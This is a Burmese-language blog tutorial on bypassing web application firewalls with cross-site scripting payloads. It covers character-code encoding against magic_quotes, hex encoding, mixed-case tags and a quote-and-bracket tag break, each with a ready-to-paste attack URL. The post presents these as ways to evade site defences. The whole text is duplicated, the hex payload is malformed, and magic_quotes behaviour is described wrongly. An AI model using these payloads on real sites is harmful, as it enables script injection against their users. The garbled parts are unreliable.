XSS အေၾကာင္းေတာ့ ေရးထားၿပီးၿပီ
ခုအခန္းက XSS မွာ WAF (web application firewall) ကို ဘယ္လို ေက်ာ္မလဲဆိုတာ ေပါ့။
အတိုဆံုး intro ၀င္ရမယ္ဆိုရင္ ေတာ့ XSS မွာလည္း SQL တုန္းကလို မ်ိဳး WAF ေတြေက်ာ္ရတာရွိတယ္ေပါ့ဗ်ာ
ဒီေတာ့ အဲလိုႀကံဳလာခဲ့ရင္ ဒီက်ဴတိုေလးဖတ္ၿပီးေျဖရွင္းၾကတာေပါ့
စေဖာမယ္
Method 1# Bypassing magic_quotes_gpc
magic_quotes_gpc=ON ထားတယ္ဆိုတာက php setting တစ္ခုဆိုပါေတာ့
သူက ဘာလုပ္လဲဆိုေတာ့ '(single quote),"(double quote) ေတြကို \(backslash) အျဖစ္ေျပာင္းလိုက္တယ္
ဆုိၾကပါစို႕ က်ေနာ္ တို႕က <script>alert("revolt!");</script> ကို run မယ္ဆိုပါေတာ့
<script>alert(\revolt!\)</script> ဒီလိုျဖစ္သြားတဲ့ အတြက္က်ေနာ္ တို႕ code ေတြ အလုပ္မလုပ္ေတာ့ဘူး
ဒီေတာ့ က်ေနာ္ တို႔က အဲဟာကို bypass လုပ္မယ္ <script> ၂ ခုၾကားထဲက စာေတြအားလံုးကို
ASCII value ေတြေျပာင္းရမယ္
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 114, 101, 118, 111, 108, 116, 34, 41, 59) ဒီလိုပံုစံမ်ိဳးေပါ့
code အျပည့္အစံုက ေတာ့ဒီလိုျဖစ္သြားမယ္
http://www.site.com/search?param=<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 114, 101, 118, 111, 108, 116, 34, 41, 59)</script>
က်ေနာ္တို႕ASCII ကိုဘယ္လိုေျပာင္းမလဲ?
alert("revolt!");
ဒါက က်ေနာ္ လိုခ်င္တဲ့ value ဆိုပါေတာ့
Hack bar addon ေတာ့လိုပါတယ္
ေအာက္ကပံုေတြၾကည့္ရင္နားလည္မယ္ထင္ပါတယ္
step:1
step:2
step:3
Method 2#Hex Encoding
ေနာက္တစ္နည္းကေတာ့ Code တစ္ခုလံုးကို hex encoded လုပ္ထားရင္လည္း WAF ေတြ filter မလုပ္နိုင္ပါဘူး
3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%72%65%76%6f%6c%74%22%29%3b%3e%2f%73%63%72%69%70%74%3e
ဒီလိုမ်ိဳးေပါ့
code အျပည့္အစံုက ဒီလုိျဖစ္သြားမယ္
http://www.site.com/search?param=3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%72%65%76%6f%6c%74%22%29%3b%3e%2f%73%63%72%69%70%74%3e
hex တန္ဖိုးကုိေတာ့ here သြားေျပာင္းနိုင္ပါတယ္
Method 3# Bypass using Obfuscation
တခါတေလ script ,alert တို႕ကို filter လုပ္ထားျပန္ေရာ
အဲ့ခါက် <ScRipt>ALeRt("revolt");</ScRipt> ဒီလိုလုပ္လိုက္မယ္
Obfuscation ဆိုတဲ့အတိုင္း ဇေ၀ဇ၀ါေတြလုပ္ျပစ္တာေပါ့(dictionary ဖတ္လိုက္တာ)
Method 4# Bypass using closing tag
ေနာက္ဆံုးနည္းေလးက ေတာ့
> ဒါေလးကို ေရွ႕မွာ ထည့္လိုက္တာဘူး
ဒီေနရာေတာ့ က်ေနာ္ လည္းသိပ္ေတာ့မရွင္းဘူး ထင္တာေျပာရမယ္ဆိုရင္ေတာ့
က်ေနာ္ ေက်ာင္းမွာ javascript သင္ရတုန္းက !--> လိုမ်ိးေလး ေတြ႕ဘူးတယ္
ဆရာမ ေျပာတာေတာ့ old browser ပိတ္တဲ႕ အဖြင့္ဆိုလားဘဲ ဟိဟိ တိဘူး
ေနာက္ဆံုးက်ေနာ္ တို႕ code ကဒီလိုျဖစ္သြားမယ္
http://www.site.com/search?param="><script>alert("revolt")</script>
ေက်းဇူးတင္ပါတယ္ ခညာ
ခုအခန္းက XSS မွာ WAF (web application firewall) ကို ဘယ္လို ေက်ာ္မလဲဆိုတာ ေပါ့။
အတိုဆံုး intro ၀င္ရမယ္ဆိုရင္ ေတာ့ XSS မွာလည္း SQL တုန္းကလို မ်ိဳး WAF ေတြေက်ာ္ရတာရွိတယ္ေပါ့ဗ်ာ
ဒီေတာ့ အဲလိုႀကံဳလာခဲ့ရင္ ဒီက်ဴတိုေလးဖတ္ၿပီးေျဖရွင္းၾကတာေပါ့
စေဖာမယ္
Method 1# Bypassing magic_quotes_gpc
magic_quotes_gpc=ON ထားတယ္ဆိုတာက php setting တစ္ခုဆိုပါေတာ့
သူက ဘာလုပ္လဲဆိုေတာ့ '(single quote),"(double quote) ေတြကို \(backslash) အျဖစ္ေျပာင္းလိုက္တယ္
ဆုိၾကပါစို႕ က်ေနာ္ တို႕က <script>alert("revolt!");</script> ကို run မယ္ဆိုပါေတာ့
<script>alert(\revolt!\)</script> ဒီလိုျဖစ္သြားတဲ့ အတြက္က်ေနာ္ တို႕ code ေတြ အလုပ္မလုပ္ေတာ့ဘူး
ဒီေတာ့ က်ေနာ္ တို႔က အဲဟာကို bypass လုပ္မယ္ <script> ၂ ခုၾကားထဲက စာေတြအားလံုးကို
ASCII value ေတြေျပာင္းရမယ္
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 114, 101, 118, 111, 108, 116, 34, 41, 59) ဒီလိုပံုစံမ်ိဳးေပါ့
code အျပည့္အစံုက ေတာ့ဒီလိုျဖစ္သြားမယ္
http://www.site.com/search?param=<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 114, 101, 118, 111, 108, 116, 34, 41, 59)</script>
က်ေနာ္တို႕ASCII ကိုဘယ္လိုေျပာင္းမလဲ?
alert("revolt!");
ဒါက က်ေနာ္ လိုခ်င္တဲ့ value ဆိုပါေတာ့
Hack bar addon ေတာ့လိုပါတယ္
ေအာက္ကပံုေတြၾကည့္ရင္နားလည္မယ္ထင္ပါတယ္
step:1
step:2
step:3
Method 2#Hex Encoding
ေနာက္တစ္နည္းကေတာ့ Code တစ္ခုလံုးကို hex encoded လုပ္ထားရင္လည္း WAF ေတြ filter မလုပ္နိုင္ပါဘူး
3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%72%65%76%6f%6c%74%22%29%3b%3e%2f%73%63%72%69%70%74%3e
ဒီလိုမ်ိဳးေပါ့
code အျပည့္အစံုက ဒီလုိျဖစ္သြားမယ္
http://www.site.com/search?param=3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%72%65%76%6f%6c%74%22%29%3b%3e%2f%73%63%72%69%70%74%3e
hex တန္ဖိုးကုိေတာ့ here သြားေျပာင္းနိုင္ပါတယ္
Method 3# Bypass using Obfuscation
တခါတေလ script ,alert တို႕ကို filter လုပ္ထားျပန္ေရာ
အဲ့ခါက် <ScRipt>ALeRt("revolt");</ScRipt> ဒီလိုလုပ္လိုက္မယ္
Obfuscation ဆိုတဲ့အတိုင္း ဇေ၀ဇ၀ါေတြလုပ္ျပစ္တာေပါ့(dictionary ဖတ္လိုက္တာ)
Method 4# Bypass using closing tag
ေနာက္ဆံုးနည္းေလးက ေတာ့
> ဒါေလးကို ေရွ႕မွာ ထည့္လိုက္တာဘူး
ဒီေနရာေတာ့ က်ေနာ္ လည္းသိပ္ေတာ့မရွင္းဘူး ထင္တာေျပာရမယ္ဆိုရင္ေတာ့
က်ေနာ္ ေက်ာင္းမွာ javascript သင္ရတုန္းက !--> လိုမ်ိးေလး ေတြ႕ဘူးတယ္
ဆရာမ ေျပာတာေတာ့ old browser ပိတ္တဲ႕ အဖြင့္ဆိုလားဘဲ ဟိဟိ တိဘူး
ေနာက္ဆံုးက်ေနာ္ တို႕ code ကဒီလိုျဖစ္သြားမယ္
http://www.site.com/search?param="><script>alert("revolt")</script>
ေက်းဇူးတင္ပါတယ္ ခညာ


No comments:
Post a Comment